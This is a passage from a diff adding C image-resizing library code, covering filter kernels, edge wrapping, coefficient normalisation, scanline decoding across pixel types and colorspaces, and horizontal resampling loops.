+    return (stbir_uint8) v;
+}
+#endif
+
+static float stbir__filter_trapezoid(float x, float scale)
+{
+    float halfscale = scale / 2;
+    float t = 0.5f + halfscale;
+    STBIR_ASSERT(scale <= 1);
+
+    x = (float)fabs(x);
+
+    if (x >= t)
+        return 0;
+    else
+    {
+        float r = 0.5f - halfscale;
+        if (x <= r)
+            return 1;
+        else
+            return (t - x) / scale;
+    }
+}
+
+static float stbir__support_trapezoid(float scale)
+{
+    STBIR_ASSERT(scale <= 1);
+    return 0.5f + scale / 2;
+}
+
+static float stbir__filter_triangle(float x, float s)
+{
+    STBIR__UNUSED_PARAM(s);
+
+    x = (float)fabs(x);
+
+    if (x <= 1.0f)
+        return 1 - x;
+    else
+        return 0;
+}
+
+static float stbir__filter_cubic(float x, float s)
+{
+    STBIR__UNUSED_PARAM(s);
+
+    x = (float)fabs(x);
+
+    if (x < 1.0f)
+        return (4 + x*x*(3*x - 6))/6;
+    else if (x < 2.0f)
+        return (8 + x*(-12 + x*(6 - x)))/6;
+
+    return (0.0f);
+}
+
+static float stbir__filter_catmullrom(float x, float s)
+{
+    STBIR__UNUSED_PARAM(s);
+
+    x = (float)fabs(x);
+
+    if (x < 1.0f)
+        return 1 - x*x*(2.5f - 1.5f*x);
+    else if (x < 2.0f)
+        return 2 - x*(4 + x*(0.5f*x - 2.5f));
+
+    return (0.0f);
+}
+
+static float stbir__filter_mitchell(float x, float s)
+{
+    STBIR__UNUSED_PARAM(s);
+
+    x = (float)fabs(x);
+
+    if (x < 1.0f)
+        return (16 + x*x*(21 * x - 36))/18;
+    else if (x < 2.0f)
+        return (32 + x*(-60 + x*(36 - 7*x)))/18;
+
+    return (0.0f);
+}
+
+static float stbir__support_zero(float s)
+{
+    STBIR__UNUSED_PARAM(s);
+    return 0;
+}
+
+static float stbir__support_one(float s)
+{
+    STBIR__UNUSED_PARAM(s);
+    return 1;
+}
+
+static float stbir__support_two(float s)
+{
+    STBIR__UNUSED_PARAM(s);
+    return 2;
+}
+
+static stbir__filter_info stbir__filter_info_table[] = {
+        { NULL,                     stbir__support_zero },
+        { stbir__filter_trapezoid,  stbir__support_trapezoid },
+        { stbir__filter_triangle,   stbir__support_one },
+        { stbir__filter_cubic,      stbir__support_two },
+        { stbir__filter_catmullrom, stbir__support_two },
+        { stbir__filter_mitchell,   stbir__support_two },
+};
+
+stbir__inline static int stbir__use_upsampling(float ratio)
+{
+    return ratio > 1;
+}
+
+stbir__inline static int stbir__use_width_upsampling(stbir__info* stbir_info)
+{
+    return stbir__use_upsampling(stbir_info->horizontal_scale);
+}
+
+stbir__inline static int stbir__use_height_upsampling(stbir__info* stbir_info)
+{
+    return stbir__use_upsampling(stbir_info->vertical_scale);
+}
+
+// This is the maximum number of input samples that can affect an output sample
+// with the given filter
+static int stbir__get_filter_pixel_width(stbir_filter filter, float scale)
+{
+    STBIR_ASSERT(filter != 0);
+    STBIR_ASSERT(filter < STBIR__ARRAY_SIZE(stbir__filter_info_table));
+
+    if (stbir__use_upsampling(scale))
+        return (int)ceil(stbir__filter_info_table[filter].support(1/scale) * 2);
+    else
+        return (int)ceil(stbir__filter_info_table[filter].support(scale) * 2 / scale);
+}
+
+// This is how much to expand buffers to account for filters seeking outside
+// the image boundaries.
+static int stbir__get_filter_pixel_margin(stbir_filter filter, float scale)
+{
+    return stbir__get_filter_pixel_width(filter, scale) / 2;
+}
+
+static int stbir__get_coefficient_width(stbir_filter filter, float scale)
+{
+    if (stbir__use_upsampling(scale))
+        return (int)ceil(stbir__filter_info_table[filter].support(1 / scale) * 2);
+    else
+        return (int)ceil(stbir__filter_info_table[filter].support(scale) * 2);
+}
+
+static int stbir__get_contributors(float scale, stbir_filter filter, int input_size, int output_size)
+{
+    if (stbir__use_upsampling(scale))
+        return output_size;
+    else
+        return (input_size + stbir__get_filter_pixel_margin(filter, scale) * 2);
+}
+
+static int stbir__get_total_horizontal_coefficients(stbir__info* info)
+{
+    return info->horizontal_num_contributors
+         * stbir__get_coefficient_width      (info->horizontal_filter, info->horizontal_scale);
+}
+
+static int stbir__get_total_vertical_coefficients(stbir__info* info)
+{
+    return info->vertical_num_contributors
+         * stbir__get_coefficient_width      (info->vertical_filter, info->vertical_scale);
+}
+
+static stbir__contributors* stbir__get_contributor(stbir__contributors* contributors, int n)
+{
+    return &contributors[n];
+}
+
+// For perf reasons this code is duplicated in stbir__resample_horizontal_upsample/downsample,
+// if you change it here change it there too.
+static float* stbir__get_coefficient(float* coefficients, stbir_filter filter, float scale, int n, int c)
+{
+    int width = stbir__get_coefficient_width(filter, scale);
+    return &coefficients[width*n + c];
+}
+
+static int stbir__edge_wrap_slow(stbir_edge edge, int n, int max)
+{
+    switch (edge)
+    {
+    case STBIR_EDGE_ZERO:
+        return 0; // we'll decode the wrong pixel here, and then overwrite with 0s later
+
+    case STBIR_EDGE_CLAMP:
+        if (n < 0)
+            return 0;
+
+        if (n >= max)
+            return max - 1;
+
+        return n; // NOTREACHED
+
+    case STBIR_EDGE_REFLECT:
+    {
+        if (n < 0)
+        {
+            if (n < max)
+                return -n;
+            else
+                return max - 1;
+        }
+
+        if (n >= max)
+        {
+            int max2 = max * 2;
+            if (n >= max2)
+                return 0;
+            else
+                return max2 - n - 1;
+        }
+
+        return n; // NOTREACHED
+    }
+
+    case STBIR_EDGE_WRAP:
+        if (n >= 0)
+            return (n % max);
+        else
+        {
+            int m = (-n) % max;
+
+            if (m != 0)
+                m = max - m;
+
+            return (m);
+        }
+        // NOTREACHED
+
+    default:
+        STBIR_ASSERT(!"Unimplemented edge type");
+        return 0;
+    }
+}
+
+stbir__inline static int stbir__edge_wrap(stbir_edge edge, int n, int max)
+{
+    // avoid per-pixel switch
+    if (n >= 0 && n < max)
+        return n;
+    return stbir__edge_wrap_slow(edge, n, max);
+}
+
+// What input pixels contribute to this output pixel?
+static void stbir__calculate_sample_range_upsample(int n, float out_filter_radius, float scale_ratio, float out_shift, int* in_first_pixel, int* in_last_pixel, float* in_center_of_out)
+{
+    float out_pixel_center = (float)n + 0.5f;
+    float out_pixel_influence_lowerbound = out_pixel_center - out_filter_radius;
+    float out_pixel_influence_upperbound = out_pixel_center + out_filter_radius;
+
+    float in_pixel_influence_lowerbound = (out_pixel_influence_lowerbound + out_shift) / scale_ratio;
+    float in_pixel_influence_upperbound = (out_pixel_influence_upperbound + out_shift) / scale_ratio;
+
+    *in_center_of_out = (out_pixel_center + out_shift) / scale_ratio;
+    *in_first_pixel = (int)(floor(in_pixel_influence_lowerbound + 0.5));
+    *in_last_pixel = (int)(floor(in_pixel_influence_upperbound - 0.5));
+}
+
+// What output pixels does this input pixel contribute to?
+static void stbir__calculate_sample_range_downsample(int n, float in_pixels_radius, float scale_ratio, float out_shift, int* out_first_pixel, int* out_last_pixel, float* out_center_of_in)
+{
+    float in_pixel_center = (float)n + 0.5f;
+    float in_pixel_influence_lowerbound = in_pixel_center - in_pixels_radius;
+    float in_pixel_influence_upperbound = in_pixel_center + in_pixels_radius;
+
+    float out_pixel_influence_lowerbound = in_pixel_influence_lowerbound * scale_ratio - out_shift;
+    float out_pixel_influence_upperbound = in_pixel_influence_upperbound * scale_ratio - out_shift;
+
+    *out_center_of_in = in_pixel_center * scale_ratio - out_shift;
+    *out_first_pixel = (int)(floor(out_pixel_influence_lowerbound + 0.5));
+    *out_last_pixel = (int)(floor(out_pixel_influence_upperbound - 0.5));
+}
+
+static void stbir__calculate_coefficients_upsample(stbir_filter filter, float scale, int in_first_pixel, int in_last_pixel, float in_center_of_out, stbir__contributors* contributor, float* coefficient_group)
+{
+    int i;
+    float total_filter = 0;
+    float filter_scale;
+
+    STBIR_ASSERT(in_last_pixel - in_first_pixel <= (int)ceil(stbir__filter_info_table[filter].support(1/scale) * 2)); // Taken directly from stbir__get_coefficient_width() which we can't call because we don't know if we're horizontal or vertical.
+
+    contributor->n0 = in_first_pixel;
+    contributor->n1 = in_last_pixel;
+
+    STBIR_ASSERT(contributor->n1 >= contributor->n0);
+
+    for (i = 0; i <= in_last_pixel - in_first_pixel; i++)
+    {
+        float in_pixel_center = (float)(i + in_first_pixel) + 0.5f;
+        coefficient_group[i] = stbir__filter_info_table[filter].kernel(in_center_of_out - in_pixel_center, 1 / scale);
+
+        // If the coefficient is zero, skip it. (Don't do the <0 check here, we want the influence of those outside pixels.)
+        if (i == 0 && !coefficient_group[i])
+        {
+            contributor->n0 = ++in_first_pixel;
+            i--;
+            continue;
+        }
+
+        total_filter += coefficient_group[i];
+    }
+
+    STBIR_ASSERT(stbir__filter_info_table[filter].kernel((float)(in_last_pixel + 1) + 0.5f - in_center_of_out, 1/scale) == 0);
+
+    STBIR_ASSERT(total_filter > 0.9);
+    STBIR_ASSERT(total_filter < 1.1f); // Make sure it's not way off.
+
+    // Make sure the sum of all coefficients is 1.
+    filter_scale = 1 / total_filter;
+
+    for (i = 0; i <= in_last_pixel - in_first_pixel; i++)
+        coefficient_group[i] *= filter_scale;
+
+    for (i = in_last_pixel - in_first_pixel; i >= 0; i--)
+    {
+        if (coefficient_group[i])
+            break;
+
+        // This line has no weight. We can skip it.
+        contributor->n1 = contributor->n0 + i - 1;
+    }
+}
+
+static void stbir__calculate_coefficients_downsample(stbir_filter filter, float scale_ratio, int out_first_pixel, int out_last_pixel, float out_center_of_in, stbir__contributors* contributor, float* coefficient_group)
+{
+    int i;
+
+     STBIR_ASSERT(out_last_pixel - out_first_pixel <= (int)ceil(stbir__filter_info_table[filter].support(scale_ratio) * 2)); // Taken directly from stbir__get_coefficient_width() which we can't call because we don't know if we're horizontal or vertical.
+
+    contributor->n0 = out_first_pixel;
+    contributor->n1 = out_last_pixel;
+
+    STBIR_ASSERT(contributor->n1 >= contributor->n0);
+
+    for (i = 0; i <= out_last_pixel - out_first_pixel; i++)
+    {
+        float out_pixel_center = (float)(i + out_first_pixel) + 0.5f;
+        float x = out_pixel_center - out_center_of_in;
+        coefficient_group[i] = stbir__filter_info_table[filter].kernel(x, scale_ratio) * scale_ratio;
+    }
+
+    STBIR_ASSERT(stbir__filter_info_table[filter].kernel((float)(out_last_pixel + 1) + 0.5f - out_center_of_in, scale_ratio) == 0);
+
+    for (i = out_last_pixel - out_first_pixel; i >= 0; i--)
+    {
+        if (coefficient_group[i])
+            break;
+
+        // This line has no weight. We can skip it.
+        contributor->n1 = contributor->n0 + i - 1;
+    }
+}
+
+static void stbir__normalize_downsample_coefficients(stbir__contributors* contributors, float* coefficients, stbir_filter filter, float scale_ratio, int input_size, int output_size)
+{
+    int num_contributors = stbir__get_contributors(scale_ratio, filter, input_size, output_size);
+    int num_coefficients = stbir__get_coefficient_width(filter, scale_ratio);
+    int i, j;
+    int skip;
+
+    for (i = 0; i < output_size; i++)
+    {
+        float scale;
+        float total = 0;
+
+        for (j = 0; j < num_contributors; j++)
+        {
+            if (i >= contributors[j].n0 && i <= contributors[j].n1)
+            {
+                float coefficient = *stbir__get_coefficient(coefficients, filter, scale_ratio, j, i - contributors[j].n0);
+                total += coefficient;
+            }
+            else if (i < contributors[j].n0)
+                break;
+        }
+
+        STBIR_ASSERT(total > 0.9f);
+        STBIR_ASSERT(total < 1.1f);
+
+        scale = 1 / total;
+
+        for (j = 0; j < num_contributors; j++)
+        {
+            if (i >= contributors[j].n0 && i <= contributors[j].n1)
+                *stbir__get_coefficient(coefficients, filter, scale_ratio, j, i - contributors[j].n0) *= scale;
+            else if (i < contributors[j].n0)
+                break;
+        }
+    }
+
+    // Optimize: Skip zero coefficients and contributions outside of image bounds.
+    // Do this after normalizing because normalization depends on the n0/n1 values.
+    for (j = 0; j < num_contributors; j++)
+    {
+        int range, max, width;
+
+        skip = 0;
+        while (*stbir__get_coefficient(coefficients, filter, scale_ratio, j, skip) == 0)
+            skip++;
+
+        contributors[j].n0 += skip;
+
+        while (contributors[j].n0 < 0)
+        {
+            contributors[j].n0++;
+            skip++;
+        }
+
+        range = contributors[j].n1 - contributors[j].n0 + 1;
+        max = stbir__min(num_coefficients, range);
+
+        width = stbir__get_coefficient_width(filter, scale_ratio);
+        for (i = 0; i < max; i++)
+        {
+            if (i + skip >= width)
+                break;
+
+            *stbir__get_coefficient(coefficients, filter, scale_ratio, j, i) = *stbir__get_coefficient(coefficients, filter, scale_ratio, j, i + skip);
+        }
+
+        continue;
+    }
+
+    // Using min to avoid writing into invalid pixels.
+    for (i = 0; i < num_contributors; i++)
+        contributors[i].n1 = stbir__min(contributors[i].n1, output_size - 1);
+}
+
+// Each scan line uses the same kernel values so we should calculate the kernel
+// values once and then we can use them for every scan line.
+static void stbir__calculate_filters(stbir__contributors* contributors, float* coefficients, stbir_filter filter, float scale_ratio, float shift, int input_size, int output_size)
+{
+    int n;
+    int total_contributors = stbir__get_contributors(scale_ratio, filter, input_size, output_size);
+
+    if (stbir__use_upsampling(scale_ratio))
+    {
+        float out_pixels_radius = stbir__filter_info_table[filter].support(1 / scale_ratio) * scale_ratio;
+
+        // Looping through out pixels
+        for (n = 0; n < total_contributors; n++)
+        {
+            float in_center_of_out; // Center of the current out pixel in the in pixel space
+            int in_first_pixel, in_last_pixel;
+
+            stbir__calculate_sample_range_upsample(n, out_pixels_radius, scale_ratio, shift, &in_first_pixel, &in_last_pixel, &in_center_of_out);
+
+            stbir__calculate_coefficients_upsample(filter, scale_ratio, in_first_pixel, in_last_pixel, in_center_of_out, stbir__get_contributor(contributors, n), stbir__get_coefficient(coefficients, filter, scale_ratio, n, 0));
+        }
+    }
+    else
+    {
+        float in_pixels_radius = stbir__filter_info_table[filter].support(scale_ratio) / scale_ratio;
+
+        // Looping through in pixels
+        for (n = 0; n < total_contributors; n++)
+        {
+            float out_center_of_in; // Center of the current out pixel in the in pixel space
+            int out_first_pixel, out_last_pixel;
+            int n_adjusted = n - stbir__get_filter_pixel_margin(filter, scale_ratio);
+
+            stbir__calculate_sample_range_downsample(n_adjusted, in_pixels_radius, scale_ratio, shift, &out_first_pixel, &out_last_pixel, &out_center_of_in);
+
+            stbir__calculate_coefficients_downsample(filter, scale_ratio, out_first_pixel, out_last_pixel, out_center_of_in, stbir__get_contributor(contributors, n), stbir__get_coefficient(coefficients, filter, scale_ratio, n, 0));
+        }
+
+        stbir__normalize_downsample_coefficients(contributors, coefficients, filter, scale_ratio, input_size, output_size);
+    }
+}
+
+static float* stbir__get_decode_buffer(stbir__info* stbir_info)
+{
+    // The 0 index of the decode buffer starts after the margin. This makes
+    // it okay to use negative indexes on the decode buffer.
+    return &stbir_info->decode_buffer[stbir_info->horizontal_filter_pixel_margin * stbir_info->channels];
+}
+
+#define STBIR__DECODE(type, colorspace) ((type) * (STBIR_MAX_COLORSPACES) + (colorspace))
+
+static void stbir__decode_scanline(stbir__info* stbir_info, int n)
+{
+    int c;
+    int channels = stbir_info->channels;
+    int alpha_channel = stbir_info->alpha_channel;
+    int type = stbir_info->type;
+    int colorspace = stbir_info->colorspace;
+    int input_w = stbir_info->input_w;
+    size_t input_stride_bytes = stbir_info->input_stride_bytes;
+    float* decode_buffer = stbir__get_decode_buffer(stbir_info);
+    stbir_edge edge_horizontal = stbir_info->edge_horizontal;
+    stbir_edge edge_vertical = stbir_info->edge_vertical;
+    size_t in_buffer_row_offset = stbir__edge_wrap(edge_vertical, n, stbir_info->input_h) * input_stride_bytes;
+    const void* input_data = (char *) stbir_info->input_data + in_buffer_row_offset;
+    int max_x = input_w + stbir_info->horizontal_filter_pixel_margin;
+    int decode = STBIR__DECODE(type, colorspace);
+
+    int x = -stbir_info->horizontal_filter_pixel_margin;
+
+    // special handling for STBIR_EDGE_ZERO because it needs to return an item that doesn't appear in the input,
+    // and we want to avoid paying overhead on every pixel if not STBIR_EDGE_ZERO
+    if (edge_vertical == STBIR_EDGE_ZERO && (n < 0 || n >= stbir_info->input_h))
+    {
+        for (; x < max_x; x++)
+            for (c = 0; c < channels; c++)
+                decode_buffer[x*channels + c] = 0;
+        return;
+    }
+
+    switch (decode)
+    {
+    case STBIR__DECODE(STBIR_TYPE_UINT8, STBIR_COLORSPACE_LINEAR):
+        for (; x < max_x; x++)
+        {
+            int decode_pixel_index = x * channels;
+            int input_pixel_index = stbir__edge_wrap(edge_horizontal, x, input_w) * channels;
+            for (c = 0; c < channels; c++)
+                decode_buffer[decode_pixel_index + c] = ((float)((const unsigned char*)input_data)[input_pixel_index + c]) / stbir__max_uint8_as_float;
+        }
+        break;
+
+    case STBIR__DECODE(STBIR_TYPE_UINT8, STBIR_COLORSPACE_SRGB):
+        for (; x < max_x; x++)
+        {
+            int decode_pixel_index = x * channels;
+            int input_pixel_index = stbir__edge_wrap(edge_horizontal, x, input_w) * channels;
+            for (c = 0; c < channels; c++)
+                decode_buffer[decode_pixel_index + c] = stbir__srgb_uchar_to_linear_float[((const unsigned char*)input_data)[input_pixel_index + c]];
+
+            if (!(stbir_info->flags&STBIR_FLAG_ALPHA_USES_COLORSPACE))
+                decode_buffer[decode_pixel_index + alpha_channel] = ((float)((const unsigned char*)input_data)[input_pixel_index + alpha_channel]) / stbir__max_uint8_as_float;
+        }
+        break;
+
+    case STBIR__DECODE(STBIR_TYPE_UINT16, STBIR_COLORSPACE_LINEAR):
+        for (; x < max_x; x++)
+        {
+            int decode_pixel_index = x * channels;
+            int input_pixel_index = stbir__edge_wrap(edge_horizontal, x, input_w) * channels;
+            for (c = 0; c < channels; c++)
+                decode_buffer[decode_pixel_index + c] = ((float)((const unsigned short*)input_data)[input_pixel_index + c]) / stbir__max_uint16_as_float;
+        }
+        break;
+
+    case STBIR__DECODE(STBIR_TYPE_UINT16, STBIR_COLORSPACE_SRGB):
+        for (; x < max_x; x++)
+        {
+            int decode_pixel_index = x * channels;
+            int input_pixel_index = stbir__edge_wrap(edge_horizontal, x, input_w) * channels;
+            for (c = 0; c < channels; c++)
+                decode_buffer[decode_pixel_index + c] = stbir__srgb_to_linear(((float)((const unsigned short*)input_data)[input_pixel_index + c]) / stbir__max_uint16_as_float);
+
+            if (!(stbir_info->flags&STBIR_FLAG_ALPHA_USES_COLORSPACE))
+                decode_buffer[decode_pixel_index + alpha_channel] = ((float)((const unsigned short*)input_data)[input_pixel_index + alpha_channel]) / stbir__max_uint16_as_float;
+        }
+        break;
+
+    case STBIR__DECODE(STBIR_TYPE_UINT32, STBIR_COLORSPACE_LINEAR):
+        for (; x < max_x; x++)
+        {
+            int decode_pixel_index = x * channels;
+            int input_pixel_index = stbir__edge_wrap(edge_horizontal, x, input_w) * channels;
+            for (c = 0; c < channels; c++)
+                decode_buffer[decode_pixel_index + c] = (float)(((double)((const unsigned int*)input_data)[input_pixel_index + c]) / stbir__max_uint32_as_float);
+        }
+        break;
+
+    case STBIR__DECODE(STBIR_TYPE_UINT32, STBIR_COLORSPACE_SRGB):
+        for (; x < max_x; x++)
+        {
+            int decode_pixel_index = x * channels;
+            int input_pixel_index = stbir__edge_wrap(edge_horizontal, x, input_w) * channels;
+            for (c = 0; c < channels; c++)
+                decode_buffer[decode_pixel_index + c] = stbir__srgb_to_linear((float)(((double)((const unsigned int*)input_data)[input_pixel_index + c]) / stbir__max_uint32_as_float));
+
+            if (!(stbir_info->flags&STBIR_FLAG_ALPHA_USES_COLORSPACE))
+                decode_buffer[decode_pixel_index + alpha_channel] = (float)(((double)((const unsigned int*)input_data)[input_pixel_index + alpha_channel]) / stbir__max_uint32_as_float);
+        }
+        break;
+
+    case STBIR__DECODE(STBIR_TYPE_FLOAT, STBIR_COLORSPACE_LINEAR):
+        for (; x < max_x; x++)
+        {
+            int decode_pixel_index = x * channels;
+            int input_pixel_index = stbir__edge_wrap(edge_horizontal, x, input_w) * channels;
+            for (c = 0; c < channels; c++)
+                decode_buffer[decode_pixel_index + c] = ((const float*)input_data)[input_pixel_index + c];
+        }
+        break;
+
+    case STBIR__DECODE(STBIR_TYPE_FLOAT, STBIR_COLORSPACE_SRGB):
+        for (; x < max_x; x++)
+        {
+            int decode_pixel_index = x * channels;
+            int input_pixel_index = stbir__edge_wrap(edge_horizontal, x, input_w) * channels;
+            for (c = 0; c < channels; c++)
+                decode_buffer[decode_pixel_index + c] = stbir__srgb_to_linear(((const float*)input_data)[input_pixel_index + c]);
+
+            if (!(stbir_info->flags&STBIR_FLAG_ALPHA_USES_COLORSPACE))
+                decode_buffer[decode_pixel_index + alpha_channel] = ((const float*)input_data)[input_pixel_index + alpha_channel];
+        }
+
+        break;
+
+    default:
+        STBIR_ASSERT(!"Unknown type/colorspace/channels combination.");
+        break;
+    }
+
+    if (!(stbir_info->flags & STBIR_FLAG_ALPHA_PREMULTIPLIED))
+    {
+        for (x = -stbir_info->horizontal_filter_pixel_margin; x < max_x; x++)
+        {
+            int decode_pixel_index = x * channels;
+
+            // If the alpha value is 0 it will clobber the color values. Make sure it's not.
+            float alpha = decode_buffer[decode_pixel_index + alpha_channel];
+#ifndef STBIR_NO_ALPHA_EPSILON
+            if (stbir_info->type != STBIR_TYPE_FLOAT) {
+                alpha += STBIR_ALPHA_EPSILON;
+                decode_buffer[decode_pixel_index + alpha_channel] = alpha;
+            }
+#endif
+            for (c = 0; c < channels; c++)
+            {
+                if (c == alpha_channel)
+                    continue;
+
+                decode_buffer[decode_pixel_index + c] *= alpha;
+            }
+        }
+    }
+
+    if (edge_horizontal == STBIR_EDGE_ZERO)
+    {
+        for (x = -stbir_info->horizontal_filter_pixel_margin; x < 0; x++)
+        {
+            for (c = 0; c < channels; c++)
+                decode_buffer[x*channels + c] = 0;
+        }
+        for (x = input_w; x < max_x; x++)
+        {
+            for (c = 0; c < channels; c++)
+                decode_buffer[x*channels + c] = 0;
+        }
+    }
+}
+
+static float* stbir__get_ring_buffer_entry(float* ring_buffer, int index, int ring_buffer_length)
+{
+    return &ring_buffer[index * ring_buffer_length];
+}
+
+static float* stbir__add_empty_ring_buffer_entry(stbir__info* stbir_info, int n)
+{
+    int ring_buffer_index;
+    float* ring_buffer;
+
+    stbir_info->ring_buffer_last_scanline = n;
+
+    if (stbir_info->ring_buffer_begin_index < 0)
+    {
+        ring_buffer_index = stbir_info->ring_buffer_begin_index = 0;
+        stbir_info->ring_buffer_first_scanline = n;
+    }
+    else
+    {
+        ring_buffer_index = (stbir_info->ring_buffer_begin_index + (stbir_info->ring_buffer_last_scanline - stbir_info->ring_buffer_first_scanline)) % stbir_info->ring_buffer_num_entries;
+        STBIR_ASSERT(ring_buffer_index != stbir_info->ring_buffer_begin_index);
+    }
+
+    ring_buffer = stbir__get_ring_buffer_entry(stbir_info->ring_buffer, ring_buffer_index, stbir_info->ring_buffer_length_bytes / sizeof(float));
+    memset(ring_buffer, 0, stbir_info->ring_buffer_length_bytes);
+
+    return ring_buffer;
+}
+
+
+static void stbir__resample_horizontal_upsample(stbir__info* stbir_info, float* output_buffer)
+{
+    int x, k;
+    int output_w = stbir_info->output_w;
+    int channels = stbir_info->channels;
+    float* decode_buffer = stbir__get_decode_buffer(stbir_info);
+    stbir__contributors* horizontal_contributors = stbir_info->horizontal_contributors;
+    float* horizontal_coefficients = stbir_info->horizontal_coefficients;
+    int coefficient_width = stbir_info->horizontal_coefficient_width;
+
+    for (x = 0; x < output_w; x++)
+    {
+        int n0 = horizontal_contributors[x].n0;
+        int n1 = horizontal_contributors[x].n1;
+
+        int out_pixel_index = x * channels;
+        int coefficient_group = coefficient_width * x;
+        int coefficient_counter = 0;
+
+        STBIR_ASSERT(n1 >= n0);
+        STBIR_ASSERT(n0 >= -stbir_info->horizontal_filter_pixel_margin);
+        STBIR_ASSERT(n1 >= -stbir_info->horizontal_filter_pixel_margin);
+        STBIR_ASSERT(n0 < stbir_info->input_w + stbir_info->horizontal_filter_pixel_margin);
+        STBIR_ASSERT(n1 < stbir_info->input_w + stbir_info->horizontal_filter_pixel_margin);
+
+        switch (channels) {
+            case 1:
+                for (k = n0; k <= n1; k++)
+                {
+                    int in_pixel_index = k * 1;
+                    float coefficient = horizontal_coefficients[coefficient_group + coefficient_counter++];
+                    STBIR_ASSERT(coefficient != 0);
+                    output_buffer[out_pixel_index + 0] += decode_buffer[in_pixel_index + 0] * coefficient;
+                }
+                break;
+            case 2:
+                for (k = n0; k <= n1; k++)
+                {
+                    int in_pixel_index = k * 2;
+                    float coefficient = horizontal_coefficients[coefficient_group + coefficient_counter++];
+                    STBIR_ASSERT(coefficient != 0);
+                    output_buffer[out_pixel_index + 0] += decode_buffer[in_pixel_index + 0] * coefficient;
+                    output_buffer[out_pixel_index + 1] += decode_buffer[in_pixel_index + 1] * coefficient;
+                }
+                break;
+            case 3:
+                for (k = n0; k <= n1; k++)
+                {
+                    int in_pixel_index = k * 3;
+                    float coefficient = horizontal_coefficients[coefficient_group + coefficient_counter++];
+                    STBIR_ASSERT(coefficient != 0);
+                    output_buffer[out_pixel_index + 0] += decode_buffer[in_pixel_index + 0] * coefficient;
+                    output_buffer[out_pixel_index + 1] += decode_buffer[in_pixel_index + 1] * coefficient;
+                    output_buffer[out_pixel_index + 2] += decode_buffer[in_pixel_index + 2] * coefficient;
+                }
+                break;
+            case 4:
+                for (k = n0; k <= n1; k++)
+                {
+                    int in_pixel_index = k * 4;
+                    float coefficient = horizontal_coefficients[coefficient_group + coefficient_counter++];
+                    STBIR_ASSERT(coefficient != 0);
+                    output_buffer[out_pixel_index + 0] += decode_buffer[in_pixel_index + 0] * coefficient;
+                    output_buffer[out_pixel_index + 1] += decode_buffer[in_pixel_index + 1] * coefficient;
+                    output_buffer[out_pixel_index + 2] += decode_buffer[in_pixel_index + 2] * coefficient;
+                    output_buffer[out_pixel_index + 3] += decode_buffer[in_pixel_index + 3] * coefficient;
+                }
+                break;
+            default:
+                for (k = n0; k <= n1; k++)
+                {
+                    int in_pixel_index = k * channels;
+                    float coefficient = horizontal_coefficients[coefficient_group + coefficient_counter++];
+                    int c;
+                    STBIR_ASSERT(coefficient != 0);
+                    for (c = 0; c < channels; c++)
+                        output_buffer[out_pixel_index + c] += decode_buffer[in_pixel_index + c] * coefficient;
+                }
+                break;
+        }
+    }
+}
+
+static void stbir__resample_horizontal_downsample(stbir__info* stbir_info, float* output_buffer)
+{
+    int x, k;
+    int input_w = stbir_info->input_w;
+    int channels = stbir_info->channels;
+    float* decode_buffer = stbir__get_decode_buffer(stbir_info);
+    stbir__contributors* horizontal_contributors = stbir_info->horizontal_contributors;
+    float* horizontal_coefficients = stbir_info->horizontal_coefficients;
+    int coefficient_width = stbir_info->horizontal_coefficient_width;
+    int filter_pixel_margin = stbir_info->horizontal_filter_pixel_margin;
+    int max_x = input_w + filter_pixel_margin * 2;
+
+    STBIR_ASSERT(!stbir__use_width_upsampling(stbir_info));
+
+    switch (channels) {
+        case 1:
+            for (x = 0; x < max_x; x++)
+            {
+                int n0 = horizontal_contributors[x].n0;
+                int n1 = horizontal_contributors[x].n1;
+
+                int in_x = x - filter_pixel_margin;
+                int in_pixel_index = in_x * 1;
+                int max_n = n1;
+                int coefficient_group = coefficient_width * x;
+
+                for (k = n0; k <= max_n; k++)
+                {
+                    int out_pixel_index = k * 1;
+                    float coefficient = horizontal_coefficients[coefficient_group + k - n0];
+                    STBIR_ASSERT(coefficient != 0);
+                    output_buffer[out_pixel_index + 0] += decode_buffer[in_pixel_index + 0] * coefficient;
+                }
+            }
+            break;
+
+        case 2:
+            for (x = 0; x < max_x; x++)
+            {
+                int n0 = horizontal_contributors[x].n0;
+                int n1 = horizontal_contributors[x].n1;
+
+                int in_x = x - filter_pixel_margin;
+                int in_pixel_index = in_x * 2;
+                int max_n = n1;
+                int coefficient_group = coefficient_width * x;
+
+                for (k = n0; k <= max_n; k++)
+                {
+                    int out_pixel_index = k * 2;
+                    float coefficient = horizontal_coefficients[coefficient_group + k - n0];
+                    STBIR_ASSERT(coefficient != 0);
+                    output_buffer[out_pixel_index + 0] += decode_buffer[in_pixel_index + 0] * coefficient;
+                    output_buffer[out_pixel_index + 1] += decode_buffer[in_pixel_index + 1] * coefficient;
+                }
+            }
+            break;
+
+        case 3:
+            for (x = 0; x < max_x; x++)
+            {
+                int n0 = horizontal_contributors[x].n0;
+                int n1 = horizontal_contributors[x].n1;
+
+                int in_x = x - filter_pixel_margin;
+                int in_pixel_index = in_x * 3;
+                int max_n = n1;
+                int coefficient_group = coefficient_width * x;
+
+                for (k = n0; k <= max_n; k++)
+                {
+                    int out_pixel_index = k * 3;
+                    float coefficient = horizontal_coefficients[coefficient_group + k - n0];
+                    STBIR_ASSERT(coefficient != 0);
+                    output_buffer[out_pixel_index + 0] += decode_buffer[in_pixel_index + 0] * coefficient;
+                    output_buffer[out_pixel_index + 1] += decode_buffer[in_pixel_index + 1] * coefficient;
+                    output_buffer[out_pixel_index + 2] += decode_buffer[in_pixel_index + 2] * coefficient;
+                }
+            }
+            break;
+
+        case 4:
+            for (x = 0; x < max_x; x++)
+            {
+                int n0 = horizontal_contributors[x].n0;
+                int n1 = horizontal_contributors[x].n1;
+
+                int in_x = x - filter_pixel_margin;
+                int in_pixel_index = in_x * 4;
+                int max_n = n1;
+                int coefficient_group = coefficient_width * x;
+
+                for (k = n0; k <= max_n; k++)
+                {
+                    int out_pixel_index = k * 4;
+                    float coefficient = horizontal_coefficients[coefficient_group + k - n0];
+                    STBIR_ASSERT(coefficient != 0);
+                    output_buffer[out_pixel_index + 0] += decode_buffer[in_pixel_index + 0] * coefficient;
+                    output_buffer[out_pixel_index + 1] += decode_buffer[in_pixel_index + 1] * coefficient;
+                    output_buffer[out_pixel_index + 2] += decode_buffer[in_pixel_index + 2] * coefficient;
+                    output_buffer[out_pixel_index + 3] += decode_buffer[in_pixel_index + 3] * coefficient;
+                }
+            }
+            break;
+
+        default:
+            for (x = 0; x < max_x; x++)
+            {
+                int n0 = horizontal_contributors[x].n0;
+                int n1 = horizontal_contributors[x].n1;
+
+                int in_x = x - filter_pixel_margin;
